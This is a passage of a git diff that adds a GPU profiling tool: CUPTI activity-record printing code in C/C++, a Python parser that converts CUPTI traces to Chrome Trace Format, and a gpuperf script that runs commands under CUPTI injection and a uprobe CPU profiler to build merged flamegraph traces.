CUPTI_ACTIVITY_MEMORY_POOL_TYPE_IMPORTED) + { + fprintf(pFileHandle, ", memoryPoolProcessId: %llu", + (unsigned long long)pMemory2Record->memoryPoolConfig.pool.processId); + } + + fprintf(pFileHandle, "\n"); + + break; + } + case CUPTI_ACTIVITY_KIND_MEMORY_POOL: + { + CUpti_ActivityMemoryPool2 *pMemoryPoolRecord = (CUpti_ActivityMemoryPool2 *)(void *)pRecord; + + fprintf(pFileHandle, "%s [ %llu ] memoryPoolOperation %s, memoryPool %s, address %llu, size %llu, utilizedSize %llu, releaseThreshold %llu,\n" + " deviceId %u, processId %u, correlationId %u\n", + GetActivityKindString(pMemoryPoolRecord->kind), + (unsigned long long)pMemoryPoolRecord->timestamp, + GetMemoryPoolOperationTypeString(pMemoryPoolRecord->memoryPoolOperationType), + GetMemoryPoolTypeString(pMemoryPoolRecord->memoryPoolType), + (unsigned long long)pMemoryPoolRecord->address, + (unsigned long long)pMemoryPoolRecord->size, + (unsigned long long)pMemoryPoolRecord->utilizedSize, + (unsigned long long)pMemoryPoolRecord->releaseThreshold, + pMemoryPoolRecord->deviceId, + pMemoryPoolRecord->processId, + pMemoryPoolRecord->correlationId); + + break; + } + case CUPTI_ACTIVITY_KIND_GRAPH_TRACE: + { + CUpti_ActivityGraphTrace2 *pGraphTraceRecord = (CUpti_ActivityGraphTrace2 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, correlationId %u\n deviceId %u, contextId %u, streamId %u, graphId %u\n", + GetActivityKindString(pGraphTraceRecord->kind), + (unsigned long long)pGraphTraceRecord->start, + (unsigned long long)pGraphTraceRecord->end, + (unsigned long long)(pGraphTraceRecord->end - pGraphTraceRecord->start), + pGraphTraceRecord->correlationId, + pGraphTraceRecord->deviceId, + pGraphTraceRecord->contextId, + pGraphTraceRecord->streamId, + pGraphTraceRecord->graphId); + + break; + } + case CUPTI_ACTIVITY_KIND_JIT: + { + CUpti_ActivityJit2 *pJitRecord = (CUpti_ActivityJit2 *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, deviceId %u, correlationId %u, processId %u, threadId %u\n" + "jitEntryType %s, jitOperationType %s, jitOperationCorrelationId %llu\n cacheSize %llu, cachePath %s\n", + GetActivityKindString(pJitRecord->kind), + (unsigned long long)pJitRecord->start, + (unsigned long long)pJitRecord->end, + (unsigned long long)(pJitRecord->end - pJitRecord->start), + pJitRecord->deviceId, + pJitRecord->correlationId, + pJitRecord->processId, + pJitRecord->threadId, + GetJitEntryType(pJitRecord->jitEntryType), + GetJitOperationType(pJitRecord->jitOperationType), + (unsigned long long)pJitRecord->jitOperationCorrelationId, + (unsigned long long)pJitRecord->cacheSize, + GetName(pJitRecord->cachePath)); + + break; + } + case CUPTI_ACTIVITY_KIND_MEM_DECOMPRESS: + { + CUpti_ActivityMemDecompress *pMemDecompress = (CUpti_ActivityMemDecompress *)pRecord; + + fprintf(pFileHandle, "%s [ %llu, %llu ] duration %llu, deviceId %u, contextId %u, streamId %u, correlationId %u\n" + "channelId %u, channelType %s, numberOfOperations %u, sourceBytes %llu\n", + GetActivityKindString(pMemDecompress->kind), + (unsigned long long)pMemDecompress->start, + (unsigned long long)pMemDecompress->end, + (unsigned long long)(pMemDecompress->end - pMemDecompress->start), + pMemDecompress->deviceId, + pMemDecompress->contextId, + pMemDecompress->streamId, + pMemDecompress->correlationId, + pMemDecompress->channelID, + GetChannelType(pMemDecompress->channelType), + pMemDecompress->numberOfOperations, + (unsigned long long)pMemDecompress->sourceBytes); + + break; + } + default: + fprintf(pFileHandle, " \n"); + break; + } +} + +static void +PrintActivityBuffer( + uint8_t *pBuffer, + size_t validBytes, + FILE *pFileHandle, + void *pUserData) +{ + CUpti_Activity *pRecord = NULL; + CUptiResult status = CUPTI_SUCCESS; + + do + { + status = cuptiActivityGetNextRecord(pBuffer, validBytes, &pRecord); + if (status == CUPTI_SUCCESS) + { + if (!pUserData || + (pUserData && ((UserData *)pUserData)->printActivityRecords)) + { + PrintActivity(pRecord, pFileHandle); + } + + if (pUserData && + ((UserData *)pUserData)->pPostProcessActivityRecords) + { + ((UserData *)pUserData)->pPostProcessActivityRecords(pRecord); + } + } + else if (status == CUPTI_ERROR_MAX_LIMIT_REACHED) + { + break; + } + else if (status == CUPTI_ERROR_INVALID_KIND) + { + break; + } + else + { + CUPTI_API_CALL(status); + } + } while (1); +} + +// Buffer Management Functions +static void CUPTIAPI +BufferRequested( + uint8_t **ppBuffer, + size_t *pSize, + size_t *pMaxNumRecords) +{ + uint8_t *pBuffer = (uint8_t *) malloc(globals.activityBufferSize + ALIGN_SIZE); + MEMORY_ALLOCATION_CALL(pBuffer); + + *pSize = globals.activityBufferSize; + *ppBuffer = ALIGN_BUFFER(pBuffer, ALIGN_SIZE); + *pMaxNumRecords = 0; + + globals.buffersRequested++; +} + +static void CUPTIAPI +BufferCompleted( + CUcontext context, + uint32_t streamId, + uint8_t *pBuffer, + size_t size, + size_t validSize) +{ + if (validSize > 0) + { + FILE *pOutputFile = globals.pOutputFile; + if (!pOutputFile) + { + pOutputFile = stdout; + } + + PrintActivityBuffer(pBuffer, validSize, pOutputFile, globals.pUserData); + } + + globals.buffersCompleted++; + free(pBuffer); +} + +// CUPTI callback functions +static void +HandleSyncronizationCallbacks( + CUpti_CallbackId callbackId, + const CUpti_SynchronizeData *pSynchronizeData, + void *pUserData) +{ + // Flush the CUPTI activity records buffer on context synchronization + if (callbackId == CUPTI_CBID_SYNCHRONIZE_CONTEXT_SYNCHRONIZED && + ((UserData *)pUserData)->flushAtCtxSync) + { + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(0)); + } + // Flush the CUPTI activity records buffer on stream synchronization + else if (callbackId == CUPTI_CBID_SYNCHRONIZE_STREAM_SYNCHRONIZED && + ((UserData *)pUserData)->flushAtStreamSync) + { + uint32_t streamId = 0; + CUPTI_API_CALL_VERBOSE(cuptiGetStreamId(pSynchronizeData->context, pSynchronizeData->stream, &streamId)); + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(0)); + } +} + +static void +HandleDomainStateCallback( + CUpti_CallbackId callbackId, + const CUpti_StateData *pStateData) +{ + switch (callbackId) + { + case CUPTI_CBID_STATE_FATAL_ERROR: + { + const char *errorString = NULL; + cuptiGetResultString(pStateData->notification.result, &errorString); + + fprintf(globals.pOutputFile, "\nCUPTI encountered fatal error: %s\n", errorString); + fprintf(globals.pOutputFile, "Error message: %s\n", pStateData->notification.message); + + // Exiting the application if fatal error encountered in CUPTI + // If there is a CUPTI fatal error, it means CUPTI has stopped profiling the application. + exit(EXIT_FAILURE); + } + default: + break; + } +} + +static void CUPTIAPI +CuptiCallbackHandler( + void *pUserData, + CUpti_CallbackDomain domain, + CUpti_CallbackId callbackId, + const void *pCallbackData) +{ + CUPTI_API_CALL(cuptiGetLastError()); + + if (((UserData *)pUserData)->printCallbacks && + globals.pOutputFile != NULL) + { + fprintf(globals.pOutputFile, "CUPTI Callback: Domain %d CbId %d\n", domain, callbackId); + fflush(globals.pOutputFile); + } + + const CUpti_CallbackData *pCallabckInfo = (CUpti_CallbackData *)pCallbackData; + + switch (domain) + { + case CUPTI_CB_DOMAIN_STATE: + HandleDomainStateCallback(callbackId, (CUpti_StateData *)pCallbackData); + break; + case CUPTI_CB_DOMAIN_RUNTIME_API: + switch (callbackId) + { + case CUPTI_RUNTIME_TRACE_CBID_cudaDeviceReset_v3020: + if (pCallabckInfo->callbackSite == CUPTI_API_ENTER) + { + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(0)); + } + break; + default: + break; + } + break; + case CUPTI_CB_DOMAIN_SYNCHRONIZE: + HandleSyncronizationCallbacks(callbackId, (CUpti_SynchronizeData *)pCallbackData, pUserData); + break; + default: + break; + } +} + +// CUPTI Trace Setup +static void +InitCuptiTrace( + void *pUserData, + void *pTraceCallback, + FILE *pFileHandle) +{ + if (!pUserData) + { + std::cerr << "Invalid parameter pUserData.\n"; + exit(EXIT_FAILURE); + } + + globals.pOutputFile = pFileHandle; + globals.pUserData = pUserData; + + // Subscribe to CUPTI + if (((UserData *)pUserData)->skipCuptiSubscription == 0) + { + // If the user provides function pointer, subscribe CUPTI to that function pointer (pTraceCallback). + // Else subscribe CUPTI to the common CuptiCallbackHandler. + if (pTraceCallback) + { + CUPTI_API_CALL_VERBOSE(cuptiSubscribe(&globals.subscriberHandle, (CUpti_CallbackFunc)pTraceCallback, pUserData)); + } + else + { + CUPTI_API_CALL_VERBOSE(cuptiSubscribe(&globals.subscriberHandle, (CUpti_CallbackFunc)CuptiCallbackHandler, pUserData)); + } + + + // Enable CUPTI callback on context syncronization + if (((UserData *)pUserData)->flushAtCtxSync) + { + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, globals.subscriberHandle, CUPTI_CB_DOMAIN_SYNCHRONIZE, CUPTI_CBID_SYNCHRONIZE_CONTEXT_SYNCHRONIZED)); + } + + // Enable CUPTI callback on stream syncronization + if (((UserData *)pUserData)->flushAtStreamSync) + { + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, globals.subscriberHandle, CUPTI_CB_DOMAIN_SYNCHRONIZE, CUPTI_CBID_SYNCHRONIZE_STREAM_SYNCHRONIZED)); + } + + // Enable CUPTI callback on CUDA device reset by default + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, globals.subscriberHandle, CUPTI_CB_DOMAIN_RUNTIME_API, CUPTI_RUNTIME_TRACE_CBID_cudaDeviceReset_v3020)); + + // Enable CUPTI callback on fatal errors by default + CUPTI_API_CALL_VERBOSE(cuptiEnableCallback(1, globals.subscriberHandle, CUPTI_CB_DOMAIN_STATE, CUPTI_CBID_STATE_FATAL_ERROR)); + } + + // Register callbacks for buffer requests and for buffers completed by CUPTI. + globals.buffersRequested = 0; + globals.buffersCompleted = 0; + CUPTI_API_CALL_VERBOSE(cuptiActivityRegisterCallbacks(BufferRequested, BufferCompleted)); + + // Optionally get and set activity attributes. + // Attributes can be set by the CUPTI client to change behavior of the activity API. + // Some attributes require to be set before any CUDA context is created to be effective, + // E.g. To be applied to all device buffer allocations (see documentation). + if ((((UserData *)pUserData))->deviceBufferSize != 0) + { + size_t attrValue = (((UserData *)pUserData))->deviceBufferSize; + size_t attrValueSize = sizeof(size_t); + CUPTI_API_CALL_VERBOSE(cuptiActivitySetAttribute(CUPTI_ACTIVITY_ATTR_DEVICE_BUFFER_SIZE, &attrValueSize, &attrValue)); + std::cout << "CUPTI_ACTIVITY_ATTR_DEVICE_BUFFER_SIZE = " << attrValue << " bytes.\n"; + } + + if ((((UserData *)pUserData))->activityBufferSize != 0) + { + globals.activityBufferSize = (((UserData *)pUserData))->activityBufferSize; + } + else + { + globals.activityBufferSize = BUF_SIZE; + } + + std::cout << "Activity buffer size = " << globals.activityBufferSize << " bytes.\n"; +} + +static void +DeInitCuptiTrace(void) +{ + CUPTI_API_CALL(cuptiGetLastError()); + + if (globals.subscriberHandle) + { + CUPTI_API_CALL_VERBOSE(cuptiUnsubscribe(globals.subscriberHandle)); + } + + CUPTI_API_CALL_VERBOSE(cuptiActivityFlushAll(1)); + + if (globals.pUserData != NULL) + { + free(globals.pUserData); + } +} + +#endif // HELPER_CUPTI_ACTIVITY_H_ diff --git a/src/xpu/flamegraph/cupti_trace_parser.py b/src/xpu/flamegraph/cupti_trace_parser.py new file mode 100644 index 00000000..0ea4a734 --- /dev/null +++ b/src/xpu/flamegraph/cupti_trace_parser.py @@ -0,0 +1,314 @@ + +#!/usr/bin/env python3 +""" +CUPTI Trace Parser Module +Parses CUPTI trace data and converts to Chrome Trace Format +""" + +import re +import json +from typing import List, Dict, Any + + +class CuptiTraceParser: + """Parser for CUPTI trace data""" + + def __init__(self): + # Regular expressions for different trace line formats + self.runtime_pattern = r'RUNTIME \[ (\d+), (\d+) \] duration (\d+), "([^"]+)", cbid (\d+), processId (\d+), threadId (\d+), correlationId (\d+)' + self.driver_pattern = r'DRIVER \[ (\d+), (\d+) \] duration (\d+), "([^"]+)", cbid (\d+), processId (\d+), threadId (\d+), correlationId (\d+)' + self.kernel_pattern = r'CONCURRENT_KERNEL \[ (\d+), (\d+) \] duration (\d+), "([^"]+)", correlationId (\d+)' + self.overhead_pattern = r'OVERHEAD ([A-Z_]+) \[ (\d+), (\d+) \] duration (\d+), (\w+), id (\d+), correlation id (\d+)' + self.memory_pattern = r'MEMORY2 \[ (\d+) \] memoryOperationType (\w+), memoryKind (\w+), size (\d+), address (\d+)' + self.memcpy_pattern = r'MEMCPY "([^"]+)" \[ (\d+), (\d+) \] duration (\d+), size (\d+), copyCount (\d+), srcKind (\w+), dstKind (\w+), correlationId (\d+)' + self.grid_pattern = r'\s+grid \[ (\d+), (\d+), (\d+) \], block \[ (\d+), (\d+), (\d+) \]' + self.device_pattern = r'\s+deviceId (\d+), contextId (\d+), streamId (\d+)' + + def parse_file(self, filename: str) -> List[Dict[str, Any]]: + """Parse CUPTI trace file and return list of events""" + with open(filename, 'r') as f: + lines = f.readlines() + + return self.parse_lines(lines) + + def parse_lines(self, lines: List[str]) -> List[Dict[str, Any]]: + """Parse CUPTI trace lines and return list of events""" + events = [] + i = 0 + + while i < len(lines): + line = lines[i].strip() + + # Skip empty lines or non-trace lines + if not line or self._should_skip_line(line): + i += 1 + continue + + # Try parsing different event types + event = None + lines_consumed = 1 + + # Parse RUNTIME events + match = re.search(self.runtime_pattern, line) + if match: + event = self._parse_runtime_event(match) + else: + # Parse DRIVER events + match = re.search(self.driver_pattern, line) + if match: + event = self._parse_driver_event(match) + else: + # Parse CONCURRENT_KERNEL events + match = re.search(self.kernel_pattern, line) + if match: + event, lines_consumed = self._parse_kernel_event(match, lines, i) + else: + # Parse OVERHEAD events + match = re.search(self.overhead_pattern, line) + if match: + event = self._parse_overhead_event(match) + else: + # Parse MEMCPY events + match = re.search(self.memcpy_pattern, line) + if match: + event, lines_consumed = self._parse_memcpy_event(match, lines, i) + else: + # Parse MEMORY2 events + match = re.search(self.memory_pattern, line) + if match: + event = self._parse_memory_event(match) + + if event: + events.append(event) + + i += lines_consumed + + return events + + def _should_skip_line(self, line: str) -> bool: + """Check if line should be skipped""" + skip_prefixes = [ + 'Calling CUPTI', 'Enabling', 'Disabling', 'Found', + 'Configuring', 'It took', 'Activity buffer', 'CUPTI trace output', + 'Running command', 'Trace output:', 'Started target', + 'Starting CPU', 'Stopping CPU', 'CPU profile' + ] + return any(line.startswith(prefix) for prefix in skip_prefixes) + + def _parse_runtime_event(self, match) -> Dict[str, Any]: + """Parse RUNTIME event""" + start_time = int(match.group(1)) + duration = int(match.group(3)) + name = match.group(4) + cbid = match.group(5) + process_id = int(match.group(6)) + thread_id = int(match.group(7)) + correlation_id = int(match.group(8)) + + return { + "name": f"Runtime: {name}", + "ph": "X", # Complete event + "ts": start_time / 1000, # Convert ns to µs + "dur": duration / 1000, + "tid": thread_id, + "pid": process_id, + "cat": "CUDA_Runtime", + "args": { + "cbid": cbid, + "correlationId": correlation_id + } + } + + def _parse_driver_event(self, match) -> Dict[str, Any]: + """Parse DRIVER event""" + start_time = int(match.group(1)) + duration = int(match.group(3)) + name = match.group(4) + cbid = match.group(5) + process_id = int(match.group(6)) + thread_id = int(match.group(7)) + correlation_id = int(match.group(8)) + + return { + "name": f"Driver: {name}", + "ph": "X", + "ts": start_time / 1000, + "dur": duration / 1000, + "tid": thread_id, + "pid": process_id, + "cat": "CUDA_Driver", + "args": { + "cbid": cbid, + "correlationId": correlation_id + } + } + + def _parse_kernel_event(self, match, lines: List[str], current_index: int) -> tuple: + """Parse CONCURRENT_KERNEL event with optional additional info""" + start_time = int(match.group(1)) + duration = int(match.group(3)) + name = match.group(4) + correlation_id = int(match.group(5)) + + kernel_info = { + "name": f"Kernel: {name}", + "ph": "X", + "ts": start_time / 1000, + "dur": duration / 1000, + "cat": "GPU_Kernel", + "args": { + "correlationId": correlation_id + } + } + + lines_consumed = 1 + + # Check next lines for additional kernel info + if current_index + 1 < len(lines): + next_line = lines[current_index + 1].strip() + grid_match = re.search(self.grid_pattern, next_line) + if grid_match: + kernel_info["args"]["grid"] = [ + int(grid_match.group(1)), + int(grid_match.group(2)), + int(grid_match.group(3)) + ] + kernel_info["args"]["block"] = [ + int(grid_match.group(4)), + int(grid_match.group(5)), + int(grid_match.group(6)) + ] + lines_consumed += 1 + + if current_index + lines_consumed < len(lines): + next_line = lines[current_index + lines_consumed].strip() + device_match = re.search(self.device_pattern, next_line) + if device_match: + device_id = int(device_match.group(1)) + context_id = int(device_match.group(2)) + stream_id = int(device_match.group(3)) + + kernel_info["tid"] = f"GPU{device_id}_Stream{stream_id}" + kernel_info["pid"] = f"Device_{device_id}" + kernel_info["args"]["deviceId"] = device_id + kernel_info["args"]["contextId"] = context_id + kernel_info["args"]["streamId"] = stream_id + lines_consumed += 1 + + return kernel_info, lines_consumed + + def _parse_overhead_event(self, match) -> Dict[str, Any]: + """Parse OVERHEAD event""" + overhead_type = match.group(1) + start_time = int(match.group(2)) + duration = int(match.group(4)) + overhead_target = match.group(5) + overhead_id = int(match.group(6)) + correlation_id = int(match.group(7)) + + return { + "name": f"Overhead: {overhead_type}", + "ph": "X", + "ts": start_time / 1000, + "dur": duration / 1000, + "tid": overhead_id, + "pid": "CUPTI_Overhead", + "cat": "Overhead", + "args": { + "type": overhead_type, + "target": overhead_target, + "correlationId": correlation_id + } + } + + def _parse_memcpy_event(self, match, lines: List[str], current_index: int) -> tuple: + """Parse MEMCPY event with optional device info""" + copy_type = match.group(1) + start_time = int(match.group(2)) + duration = int(match.group(4)) + size = int(match.group(5)) + copy_count = int(match.group(6)) + src_kind = match.group(7) + dst_kind = match.group(8) + correlation_id = int(match.group(9)) + + memcpy_info = { + "name": f"MemCopy: {copy_type}", + "ph": "X", + "ts": start_time / 1000, + "dur": duration / 1000, + "cat": "MemCopy", + "args": { + "type": copy_type, + "size": size, + "copyCount": copy_count, + "srcKind": src_kind, + "dstKind": dst_kind, + "correlationId": correlation_id + } + } + + lines_consumed = 1 + + # Check next line for device info + if current_index + 1 < len(lines): + next_line = lines[current_index + 1].strip() + device_match = re.search(self.device_pattern, next_line) + if device_match: + device_id = int(device_match.group(1)) + context_id = int(device_match.group(2)) + stream_id = int(device_match.group(3)) + + memcpy_info["tid"] = f"GPU{device_id}_Stream{stream_id}" + memcpy_info["pid"] = f"Device_{device_id}" + memcpy_info["args"]["deviceId"] = device_id + memcpy_info["args"]["contextId"] = context_id + memcpy_info["args"]["streamId"] = stream_id + lines_consumed += 1 + else: + memcpy_info["tid"] = "MemCopy_Operations" + memcpy_info["pid"] = "MemCopy" + + return memcpy_info, lines_consumed + + def _parse_memory_event(self, match) -> Dict[str, Any]: + """Parse MEMORY2 event""" + timestamp = int(match.group(1)) + operation = match.group(2) + memory_kind = match.group(3) + size = int(match.group(4)) + address = int(match.group(5)) + + return { + "name": f"Memory: {operation} ({memory_kind})", + "ph": "i", # Instant event + "ts": timestamp / 1000, + "tid": "Memory_Operations", + "pid": "Memory", + "cat": "Memory", + "s": "g", # Global scope + "args": { + "operation": operation, + "kind": memory_kind, + "size": size, + "address": hex(address) + } + } + + def to_chrome_trace(self, events: List[Dict[str, Any]], metadata: Dict[str, Any] = None) -> Dict[str, Any]: + """Convert events to Chrome Trace Format""" + trace_data = { + "traceEvents": events, + "displayTimeUnit": "ms", + "metadata": metadata or { + "tool": "CUPTI Trace Parser", + "format": "Chrome Trace Format" + } + } + return trace_data + + def save_chrome_trace(self, events: List[Dict[str, Any]], output_file: str, metadata: Dict[str, Any] = None): + """Save events as Chrome Trace Format JSON""" + trace_data = self.to_chrome_trace(events, metadata) + with open(output_file, 'w') as f: + json.dump(trace_data, f, indent=2) \ No newline at end of file diff --git a/src/xpu/flamegraph/gpuperf.py b/src/xpu/flamegraph/gpuperf.py new file mode 100755 index 00000000..d5b9ba8d --- /dev/null +++ b/src/xpu/flamegraph/gpuperf.py @@ -0,0 +1,421 @@ +#!/usr/bin/env python3 + +import os +import sys +import argparse +import subprocess +import tempfile +import atexit +import time +import json +from pathlib import Path +from cupti_trace_parser import CuptiTraceParser +from merge_gpu_cpu_trace import TraceMerger + +class GPUPerf: + def __init__(self): + self.script_dir = Path(__file__).parent.absolute() + self.injection_lib = self.script_dir / "cupti_trace/libcupti_trace_injection.so" + self.output_file = None + self.temp_trace_file = None + self.profiler_proc = None + self.profiler_output = None + self.parser = CuptiTraceParser() # Initialize the parser + + # Path to CPU profiler + script_dir = Path(__file__).parent.resolve() + self.cpu_profiler = script_dir / "profiler/target/release/profile" + if not self.cpu_profiler.exists(): + print(f"Warning: CPU profiler not found at {self.cpu_profiler}", file=sys.stderr) + self.cpu_profiler = None + + # Find CUPTI library path + cuda_paths = [ + "/usr/local/cuda-13.0/extras/CUPTI/lib64", + "/usr/local/cuda/extras/CUPTI/lib64", + "/usr/local/cuda-12.0/extras/CUPTI/lib64", + ] + + self.cupti_lib = None + for path in cuda_paths: + cupti_path = Path(path) / "libcupti.so" + if cupti_path.exists(): + self.cupti_lib = str(cupti_path) + self.cupti_lib_dir = str(Path(path)) + break + + if not self.cupti_lib: + print("Warning: Could not find CUPTI library. NVTX annotations may not work.", file=sys.stderr) + + def parse_cupti_trace(self, filename): + """Parse CUPTI trace data using the parser module""" + return self.parser.parse_file(filename) + + def start_cpu_profiler(self, pid=None, cpu_output_file=None, cuda_lib_path=None): + """Start CPU profiler with cudaLaunchKernel uprobe""" + if not self.cpu_profiler: + return None + + if not cpu_output_file: + cpu_output_file = f"cpu_profile_{pid if pid else 'cuda'}.txt" + + # Convert to absolute path to handle working directory changes + self.profiler_output = str(Path(cpu_output_file).absolute()) + + # Find CUDA runtime library if not specified + if not cuda_lib_path: + cuda_paths = [ + "/usr/local/cuda-12.9/lib64/libcudart.so.12", + "/usr/local/cuda-13.0/lib64/libcudart.so.12", + "/usr/local/cuda/lib64/libcudart.so.12", + "/usr/local/cuda-12.8/lib64/libcudart.so.12", + ] + for path in cuda_paths: + if Path(path).exists(): + cuda_lib_path = path + break + + if not cuda_lib_path: + print("Warning: Could not find CUDA runtime library for uprobe", file=sys.stderr) + return None + + print(f"Starting CPU profiler with cudaLaunchKernel hook") + print(f" CUDA library: {cuda_lib_path}") + print(f" Output: {cpu_output_file}") + + try: + # Run profiler with cudaLaunchKernel uprobe in extended folded format + # Format: timestamp_ns comm pid tid cpu stack1;stack2;stack3 + cmd = ["sudo", str(self.cpu_profiler), + "--uprobe", f"{cuda_lib_path}:cudaLaunchKernel", + "-E"] # -E for extended folded format with timestamps + + self.profiler_proc = subprocess.Popen( + cmd, + stdout=open(cpu_output_file, 'w'), + stderr=subprocess.PIPE + ) + # Give it a moment to attach + time.sleep(1.0) + return self.profiler_proc + except Exception as e: + print(f"Warning: Failed to start CPU profiler: {e}", file=sys.stderr) + return None + + def stop_cpu_profiler(self): + """Stop the CPU profiler gracefully""" + if self.profiler_proc and self.profiler_proc.poll() is None: + print("Stopping CPU profiler...") + self.profiler_proc.terminate() + try: + self.profiler_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + self.profiler_proc.kill() + self.profiler_proc.wait() + + if self.profiler_output and os.path.exists(self.profiler_output): + print(f"CPU profile saved to: {self.profiler_output}") + + def run_with_trace(self, command, output_trace=None, chrome_trace=None, cpu_profile=None, merged_trace=None, no_merge=False): + """Run a command with CUPTI tracing and optional CPU profiling enabled""" + + # Determine if we're doing GPU profiling + do_gpu_profiling = output_trace is not None or chrome_trace is not None + + # Check if injection library exists (only if we're doing GPU profiling) + if do_gpu_profiling and not self.injection_lib.exists(): + print(f"Error: CUPTI injection library not found at {self.injection_lib}", file=sys.stderr) + print("Please build it first using 'make' in the cupti_trace directory", file=sys.stderr) + return 1 + + # Set up trace output file for GPU profiling + trace_file = None + if do_gpu_profiling: + if output_trace: + # Convert to absolute path to handle target process changing directories + trace_file = str(Path(output_trace).absolute()) + else: + # Create temporary file for trace output + fd, trace_file = tempfile.mkstemp(suffix=".txt", prefix="gpuperf_trace_") + os.close(fd) + self.temp_trace_file = trace_file + atexit.register(self.cleanup_temp_files) + + # Set up environment variables + env = os.environ.copy() + env['CUDA_INJECTION64_PATH'] = str(self.injection_lib) + env['CUPTI_TRACE_OUTPUT_FILE'] = trace_file + + if self.cupti_lib: + env['NVTX_INJECTION64_PATH'] = self.cupti_lib + if 'LD_LIBRARY_PATH' in env: + env['LD_LIBRARY_PATH'] = f"{self.cupti_lib_dir}:{env['LD_LIBRARY_PATH']}" + else: + env['LD_LIBRARY_PATH'] = self.cupti_lib_dir + + print(f"Running command with GPU profiling: {' '.join(command)}") + print(f"Trace output: {trace_file}") + + # Start the target process + target_proc = None + + try: + # Start CPU profiler FIRST if available and requested + if cpu_profile and self.cpu_profiler: + # Start profiler BEFORE target process to catch all kernel launches + self.start_cpu_profiler(cpu_output_file=cpu_profile) + + # Then start the target process + target_proc = subprocess.Popen(command, env=env) + target_pid = target_proc.pid + print(f"Started target process with PID: {target_pid}") + + # Wait for the target process to complete + return_code = target_proc.wait() + + except KeyboardInterrupt: + print("\nInterrupted by user") + if target_proc: + target_proc.terminate() + try: + target_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + target_proc.kill() + return_code = 130 + except Exception as e: + print(f"Error running command: {e}", file=sys.stderr) + return_code = 1 + finally: + # Give CUPTI time to flush remaining buffered events + # CUPTI may continue recording events after target exits + time.sleep(0.5) + + # Stop CPU profiler if running + self.stop_cpu_profiler() + + # Convert to Chrome trace if requested + if chrome_trace and os.path.exists(trace_file): + print(f"\nConverting trace to Chrome format: {chrome_trace}") + try: + events = self.parse_cupti_trace(trace_file) + print(f"Parsed {len(events)} events") + + metadata = { + "tool": "gpuperf - GPU Performance Profiler", + "format": "Chrome Trace Format", + "command": ' '.join(command) + } + + self.parser.save_chrome_trace(events, chrome_trace, metadata) + + print(f"\nChrome trace file written to: {chrome_trace}") + print("\nTo visualize the trace:") + print("1. Open Chrome or Edge browser") + print("2. Navigate to chrome://tracing or edge://tracing") + print("3. Click 'Load' and select the generated JSON file") + print("\nAlternatively, visit https://ui.perfetto.dev/ and drag the JSON file there") + except Exception as e: + print(f"Error converting trace: {e}", file=sys.stderr) + + # Clean up temporary file if not keeping raw trace + if not output_trace and self.temp_trace_file: + try: + os.unlink(self.temp_trace_file) + except: + pass + + # Generate merged folded trace if both CPU and GPU traces are available (and not disabled) + if not no_merge and cpu_profile and (chrome_trace or output_trace): + merged_output = merged_trace if merged_trace else "merged_trace.folded" + self.generate_merged_trace( + cpu_trace=cpu_profile, + gpu_trace=chrome_trace if chrome_trace else None, + gpu_raw_trace=trace_file if do_gpu_profiling else None, + output_file=merged_output + ) + + return return_code + + def generate_merged_trace(self, cpu_trace=None, gpu_trace=None, gpu_raw_trace=None, output_file=None): + """Generate merged CPU+GPU folded trace using TraceMerger""" + if not cpu_trace or not (gpu_trace or gpu_raw_trace): + return # Need both CPU and GPU traces + + if not output_file: + output_file = "merged_trace.folded" + + print(f"\nGenerating merged CPU+GPU trace: {output_file}") + + try: + merger = TraceMerger() + + # Parse CPU trace + if os.path.exists(cpu_trace): + merger.parse_cpu_trace(cpu_trace) + else: + print(f"Warning: CPU trace not found: {cpu_trace}") + return + + # Parse GPU trace (prefer JSON, fallback to raw) + if gpu_trace and os.path.exists(gpu_trace): + merger.parse_gpu_trace(gpu_trace) + elif gpu_raw_trace and os.path.exists(gpu_raw_trace): + # Convert raw trace to events first + events = self.parse_cupti_trace(gpu_raw_trace) + # Create temporary JSON for merger + import json + temp_json = tempfile.NamedTemporaryFile(mode='w', suffix='.json', delete=False) + json.dump({"traceEvents": events}, temp_json) + temp_json.close() + merger.parse_gpu_trace(temp_json.name) + os.unlink(temp_json.name) + else: + print(f"Warning: GPU trace not found") + return + + # Merge traces + merger.merge_traces() + + # Write folded output + merger.write_folded_output(output_file) + + print(f"✓ Merged trace generated: {output_file}") + print(f"\nTo generate flamegraph:") + print(f" /root/yunwei37/systemscope/cpu-tools/combined_flamegraph.pl {output_file} > merged_flamegraph.svg") + + except Exception as e: + print(f"Error generating merged trace: {e}", file=sys.stderr) + + def cleanup_temp_files(self): + """Clean up temporary files""" + if self.temp_trace_file and os.path.exists(self.temp_trace_file): + try: + os.unlink(self.temp_trace_file) + except: + pass + + def convert_trace(self, input_file, output_file): + """Convert existing CUPTI trace to Chrome format""" + + if not os.path.exists(input_file): + print(f"Error: Input file '{input_file}' not found", file=sys.stderr) + return 1 + + print(f"Converting CUPTI trace to Chrome format...") + print(f"Input: {input_file}") + print(f"Output: {output_file}") + + try: + events = self.parse_cupti_trace(input_file) + print(f"Parsed {len(events)} events") + + metadata = { + "tool": "gpuperf - GPU Performance Profiler", + "format": "Chrome Trace Format" + } + + self.parser.save_chrome_trace(events, output_file, metadata) + + print(f"\nChrome trace file written to: {output_file}") + print("\nTo visualize the trace:") + print("1. Open Chrome or Edge browser") + print("2. Navigate to chrome://tracing or edge://tracing") + print("3. Click 'Load' and select the generated JSON file") + print("\nAlternatively, visit https://ui.perfetto.dev/ and drag the JSON file there") + + return 0 + except Exception as e: + print(f"Error converting trace: {e}", file=sys.stderr) + return 1 + +def main(): + # Check if first argument is 'convert' for conversion mode + if len(sys.argv) > 1 and sys.argv[1] == 'convert': + parser = argparse.ArgumentParser( + prog='gpuperf convert', + description='Convert existing CUPTI trace to Chrome format' + ) + parser.add_argument('mode', help='Operation mode') # This will be 'convert' + parser.add_argument('-i', '--input', required=True, help='Input CUPTI trace file') + parser.add_argument('-o', '--output', default='trace.json', help='Output Chrome trace JSON file') + args = parser.parse_args() + + profiler = GPUPerf() + return profiler.convert_trace(args.input, args.output) + + # Regular run mode + parser = argparse.ArgumentParser( + 